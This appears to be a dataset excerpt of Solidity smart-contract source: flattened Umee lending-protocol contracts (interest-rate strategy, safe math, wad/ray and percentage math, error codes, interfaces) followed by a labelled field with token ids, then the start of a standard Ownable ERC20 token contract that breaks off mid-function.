uint256 totalDebt;
uint256 currentVariableBorrowRate;
uint256 currentStableBorrowRate;
uint256 currentLiquidityRate;
uint256 utilizationRate;
}
/**
* @dev Calculates the interest rates depending on the reserve's state and configurations.
* NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface.
* New protocol implementation uses the new calculateInterestRates() interface
* @param reserve The address of the reserve
* @param availableLiquidity The liquidity available in the corresponding uToken
* @param totalStableDebt The total borrowed from the reserve a stable rate
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param averageStableBorrowRate The weighted average of all the stable rate loans
* @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
* @return The liquidity rate, the stable borrow rate and the variable borrow rate
**/
function calculateInterestRates(
address reserve,
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
public
view
override
returns (
uint256,
uint256,
uint256
)
{
CalcInterestRatesLocalVars memory vars;
vars.totalDebt = totalStableDebt.add(totalVariableDebt);
vars.currentVariableBorrowRate = 0;
vars.currentStableBorrowRate = 0;
vars.currentLiquidityRate = 0;
vars.utilizationRate = vars.totalDebt == 0
? 0
: vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt));
vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle())
.getMarketBorrowRate(reserve);
if (vars.utilizationRate > OPTIMAL_UTILIZATION_RATE) {
uint256 excessUtilizationRateRatio =
vars.utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE);
vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add(
_stableRateSlope2.rayMul(excessUtilizationRateRatio)
);
vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add(
_variableRateSlope2.rayMul(excessUtilizationRateRatio)
);
} else {
vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(
_stableRateSlope1.rayMul(vars.utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE))
);
vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(
vars.utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE)
);
}
vars.currentLiquidityRate = _getOverallBorrowRate(
totalStableDebt,
totalVariableDebt,
vars
.currentVariableBorrowRate,
averageStableBorrowRate
)
.rayMul(vars.utilizationRate)
.percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor));
return (
vars.currentLiquidityRate,
vars.currentStableBorrowRate,
vars.currentVariableBorrowRate
);
}
/**
* @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt
* @param totalStableDebt The total borrowed from the reserve a stable rate
* @param totalVariableDebt The total borrowed from the reserve at a variable rate
* @param currentVariableBorrowRate The current variable borrow rate of the reserve
* @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans
* @return The weighted averaged borrow rate
**/
function _getOverallBorrowRate(
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 currentVariableBorrowRate,
uint256 currentAverageStableBorrowRate
) internal pure returns (uint256) {
uint256 totalDebt = totalStableDebt.add(totalVariableDebt);
if (totalDebt == 0) return 0;
uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate);
uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate);
uint256 overallBorrowRate =
weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay());
return overallBorrowRate;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title IReserveInterestRateStrategyInterface interface
* @dev Interface for the calculation of the interest rates
* @author Umee
*/
interface IReserveInterestRateStrategy {
function baseVariableBorrowRate() external view returns (uint256);
function getMaxVariableBorrowRate() external view returns (uint256);
function calculateInterestRates(
address reserve,
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
external
view
returns (
uint256,
uint256,
uint256
);
function calculateInterestRates(
address reserve,
address uToken,
uint256 liquidityAdded,
uint256 liquidityTaken,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 averageStableBorrowRate,
uint256 reserveFactor
)
external
view
returns (
uint256 liquidityRate,
uint256 stableBorrowRate,
uint256 variableBorrowRate
);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
/**
* @title WadRayMath library
* @author Umee
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
uint256 internal constant WAD = 1e18;
uint256 internal constant halfWAD = WAD / 2;
uint256 internal constant RAY = 1e27;
uint256 internal constant halfRAY = RAY / 2;
uint256 internal constant WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return halfRAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return halfWAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfWAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + halfWAD) / WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - halfRAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + halfRAY) / RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * WAD_RAY_RATIO;
require(result / WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title Errors library
* @author Umee
* @notice Defines the error messages emitted by the different contracts of the Umee protocol
* @dev Error messages prefix glossary:
* - VL = ValidationLogic
* - MATH = Math libraries
* - CT = Common errors between tokens (UToken, VariableDebtToken and StableDebtToken)
* - AT = UToken
* - SDT = StableDebtToken
* - VDT = VariableDebtToken
* - LP = LendingPool
* - LPAPR = LendingPoolAddressesProviderRegistry
* - LPC = LendingPoolConfiguration
* - RL = ReserveLogic
* - LPCM = LendingPoolCollateralManager
* - P = Pausable
*/
library Errors {
//common errors
string public constant CALLER_NOT_POOL_ADMIN = '33'; // 'The caller must be the pool admin'
string public constant BORROW_ALLOWANCE_NOT_ENOUGH = '59'; // User borrows on behalf, but allowance are too small
//contract specific errors
string public constant VL_INVALID_AMOUNT = '1'; // 'Amount must be greater than 0'
string public constant VL_NO_ACTIVE_RESERVE = '2'; // 'Action requires an active reserve'
string public constant VL_RESERVE_FROZEN = '3'; // 'Action cannot be performed because the reserve is frozen'
string public constant VL_CURRENT_AVAILABLE_LIQUIDITY_NOT_ENOUGH = '4'; // 'The current liquidity is not enough'
string public constant VL_NOT_ENOUGH_AVAILABLE_USER_BALANCE = '5'; // 'User cannot withdraw more than the available balance'
string public constant VL_TRANSFER_NOT_ALLOWED = '6'; // 'Transfer cannot be allowed.'
string public constant VL_BORROWING_NOT_ENABLED = '7'; // 'Borrowing is not enabled'
string public constant VL_INVALID_INTEREST_RATE_MODE_SELECTED = '8'; // 'Invalid interest rate mode selected'
string public constant VL_COLLATERAL_BALANCE_IS_0 = '9'; // 'The collateral balance is 0'
string public constant VL_HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD = '10'; // 'Health factor is lesser than the liquidation threshold'
string public constant VL_COLLATERAL_CANNOT_COVER_NEW_BORROW = '11'; // 'There is not enough collateral to cover a new borrow'
string public constant VL_STABLE_BORROWING_NOT_ENABLED = '12'; // stable borrowing not enabled
string public constant VL_COLLATERAL_SAME_AS_BORROWING_CURRENCY = '13'; // collateral is (mostly) the same currency that is being borrowed
string public constant VL_AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE = '14'; // 'The requested amount is greater than the max loan size in stable rate mode
string public constant VL_NO_DEBT_OF_SELECTED_TYPE = '15'; // 'for repayment of stable debt, the user needs to have stable debt, otherwise, he needs to have variable debt'
string public constant VL_NO_EXPLICIT_AMOUNT_TO_REPAY_ON_BEHALF = '16'; // 'To repay on behalf of an user an explicit amount to repay is needed'
string public constant VL_NO_STABLE_RATE_LOAN_IN_RESERVE = '17'; // 'User does not have a stable rate loan in progress on this reserve'
string public constant VL_NO_VARIABLE_RATE_LOAN_IN_RESERVE = '18'; // 'User does not have a variable rate loan in progress on this reserve'
string public constant VL_UNDERLYING_BALANCE_NOT_GREATER_THAN_0 = '19'; // 'The underlying balance needs to be greater than 0'
string public constant VL_DEPOSIT_ALREADY_IN_USE = '20'; // 'User deposit is already being used as collateral'
string public constant LP_NOT_ENOUGH_STABLE_BORROW_BALANCE = '21'; // 'User does not have any stable rate loan for this reserve'
string public constant LP_INTEREST_RATE_REBALANCE_CONDITIONS_NOT_MET = '22'; // 'Interest rate rebalance conditions were not met'
string public constant LP_LIQUIDATION_CALL_FAILED = '23'; // 'Liquidation call failed'
string public constant LP_NOT_ENOUGH_LIQUIDITY_TO_BORROW = '24'; // 'There is not enough liquidity available to borrow'
string public constant LP_REQUESTED_AMOUNT_TOO_SMALL = '25'; // 'The requested amount is too small for a FlashLoan.'
string public constant LP_INCONSISTENT_PROTOCOL_ACTUAL_BALANCE = '26'; // 'The actual balance of the protocol is inconsistent'
string public constant LP_CALLER_NOT_LENDING_POOL_CONFIGURATOR = '27'; // 'The caller of the function is not the lending pool configurator'
string public constant LP_INCONSISTENT_FLASHLOAN_PARAMS = '28';
string public constant CT_CALLER_MUST_BE_LENDING_POOL = '29'; // 'The caller of this function must be a lending pool'
string public constant CT_CANNOT_GIVE_ALLOWANCE_TO_HIMSELF = '30'; // 'User cannot give allowance to himself'
string public constant CT_TRANSFER_AMOUNT_NOT_GT_0 = '31'; // 'Transferred amount needs to be greater than zero'
string public constant RL_RESERVE_ALREADY_INITIALIZED = '32'; // 'Reserve has already been initialized'
string public constant LPC_RESERVE_LIQUIDITY_NOT_0 = '34'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ATOKEN_POOL_ADDRESS = '35'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_POOL_ADDRESS = '36'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_POOL_ADDRESS = '37'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_STABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '38'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_VARIABLE_DEBT_TOKEN_UNDERLYING_ADDRESS = '39'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_ADDRESSES_PROVIDER_ID = '40'; // 'The liquidity of the reserve needs to be 0'
string public constant LPC_INVALID_CONFIGURATION = '75'; // 'Invalid risk parameters for the reserve'
string public constant LPC_CALLER_NOT_EMERGENCY_ADMIN = '76'; // 'The caller must be the emergency admin'
string public constant LPAPR_PROVIDER_NOT_REGISTERED = '41'; // 'Provider is not registered'
string public constant LPCM_HEALTH_FACTOR_NOT_BELOW_THRESHOLD = '42'; // 'Health factor is not below the threshold'
string public constant LPCM_COLLATERAL_CANNOT_BE_LIQUIDATED = '43'; // 'The collateral chosen cannot be liquidated'
string public constant LPCM_SPECIFIED_CURRENCY_NOT_BORROWED_BY_USER = '44'; // 'User did not borrow the specified currency'
string public constant LPCM_NOT_ENOUGH_LIQUIDITY_TO_LIQUIDATE = '45'; // "There isn't enough liquidity available to liquidate"
string public constant LPCM_NO_ERRORS = '46'; // 'No errors'
string public constant LP_INVALID_FLASHLOAN_MODE = '47'; //Invalid flashloan mode selected
string public constant MATH_MULTIPLICATION_OVERFLOW = '48';
string public constant MATH_ADDITION_OVERFLOW = '49';
string public constant MATH_DIVISION_BY_ZERO = '50';
string public constant RL_LIQUIDITY_INDEX_OVERFLOW = '51'; // Liquidity index overflows uint128
string public constant RL_VARIABLE_BORROW_INDEX_OVERFLOW = '52'; // Variable borrow index overflows uint128
string public constant RL_LIQUIDITY_RATE_OVERFLOW = '53'; // Liquidity rate overflows uint128
string public constant RL_VARIABLE_BORROW_RATE_OVERFLOW = '54'; // Variable borrow rate overflows uint128
string public constant RL_STABLE_BORROW_RATE_OVERFLOW = '55'; // Stable borrow rate overflows uint128
string public constant CT_INVALID_MINT_AMOUNT = '56'; //invalid amount to mint
string public constant LP_FAILED_REPAY_WITH_COLLATERAL = '57';
string public constant CT_INVALID_BURN_AMOUNT = '58'; //invalid amount to burn
string public constant LP_FAILED_COLLATERAL_SWAP = '60';
string public constant LP_INVALID_EQUAL_ASSETS_TO_SWAP = '61';
string public constant LP_REENTRANCY_NOT_ALLOWED = '62';
string public constant LP_CALLER_MUST_BE_AN_ATOKEN = '63';
string public constant LP_IS_PAUSED = '64'; // 'Pool is paused'
string public constant LP_NO_MORE_RESERVES_ALLOWED = '65';
string public constant LP_INVALID_FLASH_LOAN_EXECUTOR_RETURN = '66';
string public constant RC_INVALID_LTV = '67';
string public constant RC_INVALID_LIQ_THRESHOLD = '68';
string public constant RC_INVALID_LIQ_BONUS = '69';
string public constant RC_INVALID_DECIMALS = '70';
string public constant RC_INVALID_RESERVE_FACTOR = '71';
string public constant LPAPR_INVALID_ADDRESSES_PROVIDER_ID = '72';
string public constant VL_INCONSISTENT_FLASHLOAN_PARAMS = '73';
string public constant LP_INCONSISTENT_PARAMS_LENGTH = '74';
string public constant UL_INVALID_INDEX = '77';
string public constant LP_NOT_CONTRACT = '78';
string public constant SDT_STABLE_DEBT_OVERFLOW = '79';
string public constant SDT_BURN_EXCEEDS_BALANCE = '80';
enum CollateralManagerErrors {
NO_ERROR,
NO_COLLATERAL_AVAILABLE,
COLLATERAL_CANNOT_BE_LIQUIDATED,
CURRRENCY_NOT_BORROWED,
HEALTH_FACTOR_ABOVE_THRESHOLD,
NOT_ENOUGH_LIQUIDITY,
NO_ACTIVE_RESERVE,
HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD,
INVALID_EQUAL_ASSETS_TO_SWAP,
FROZEN_RESERVE
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import {Errors} from '../helpers/Errors.sol';
/**
* @title PercentageMath library
* @author Umee
* @notice Provides functions to perform percentage calculations
* @dev Percentages are defined by default with 2 decimals of precision (100.00). The precision is indicated by PERCENTAGE_FACTOR
* @dev Operations are rounded half up
**/
library PercentageMath {
uint256 constant PERCENTAGE_FACTOR = 1e4; //percentage plus two decimals
uint256 constant HALF_PERCENT = PERCENTAGE_FACTOR / 2;
/**
* @dev Executes a percentage multiplication
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The percentage of value
**/
function percentMul(uint256 value, uint256 percentage) internal pure returns (uint256) {
if (value == 0 || percentage == 0) {
return 0;
}
require(
value <= (type(uint256).max - HALF_PERCENT) / percentage,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * percentage + HALF_PERCENT) / PERCENTAGE_FACTOR;
}
/**
* @dev Executes a percentage division
* @param value The value of which the percentage needs to be calculated
* @param percentage The percentage of the value to be calculated
* @return The value divided the percentage
**/
function percentDiv(uint256 value, uint256 percentage) internal pure returns (uint256) {
require(percentage != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfPercentage = percentage / 2;
require(
value <= (type(uint256).max - halfPercentage) / PERCENTAGE_FACTOR,
Errors.MATH_MULTIPLICATION_OVERFLOW
);
return (value * PERCENTAGE_FACTOR + halfPercentage) / percentage;
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title LendingPoolAddressesProvider contract
* @dev Main registry of addresses part of or connected to the protocol, including permissioned roles
* - Acting also as factory of proxies and admin of those, so with right to change its implementations
* - Owned by the Umee Governance
* @author Umee
**/
interface ILendingPoolAddressesProvider {
event MarketIdSet(string newMarketId);
event LendingPoolUpdated(address indexed newAddress);
event ConfigurationAdminUpdated(address indexed newAddress);
event EmergencyAdminUpdated(address indexed newAddress);
event LendingPoolConfiguratorUpdated(address indexed newAddress);
event LendingPoolCollateralManagerUpdated(address indexed newAddress);
event PriceOracleUpdated(address indexed newAddress);
event LendingRateOracleUpdated(address indexed newAddress);
event ProxyCreated(bytes32 id, address indexed newAddress);
event AddressSet(bytes32 id, address indexed newAddress, bool hasProxy);
function getMarketId() external view returns (string memory);
function setMarketId(string calldata marketId) external;
function setAddress(bytes32 id, address newAddress) external;
function setAddressAsProxy(bytes32 id, address impl) external;
function getAddress(bytes32 id) external view returns (address);
function getLendingPool() external view returns (address);
function setLendingPoolImpl(address pool) external;
function getLendingPoolConfigurator() external view returns (address);
function setLendingPoolConfiguratorImpl(address configurator) external;
function getLendingPoolCollateralManager() external view returns (address);
function setLendingPoolCollateralManager(address manager) external;
function getPoolAdmin() external view returns (address);
function setPoolAdmin(address admin) external;
function getEmergencyAdmin() external view returns (address);
function setEmergencyAdmin(address admin) external;
function getPriceOracle() external view returns (address);
function setPriceOracle(address priceOracle) external;
function getLendingRateOracle() external view returns (address);
function setLendingRateOracle(address lendingRateOracle) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @title ILendingRateOracle interface
* @notice Interface for the Umee borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations
**/
interface ILendingRateOracle {
/**
@dev returns the market borrow rate in ray
**/
function getMarketBorrowRate(address asset) external view returns (uint256);
/**
@dev sets the market borrow rate. Rate value must be in ray
**/
function setMarketBorrowRate(address asset, uint256 rate) external;
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | True | [
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6072,
2121,
3726,
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6494,
22199,
11657,
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2003,
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6810,
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3726,
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6494,
22199,
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6292,
1063,
2478,
11333,
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24335,
8988,
2005,
21318,
3372,
17788,
2575,
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2478,
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18900,
2232,
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27891,
3446,
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4770,
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10047,
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28120,
3085,
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1035,
27891,
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1025,
17869,
15683,
16869,
102
]
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|
/**
You Mustn’t Be Afraid To Dream A Little Bigger, Darling.
**/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
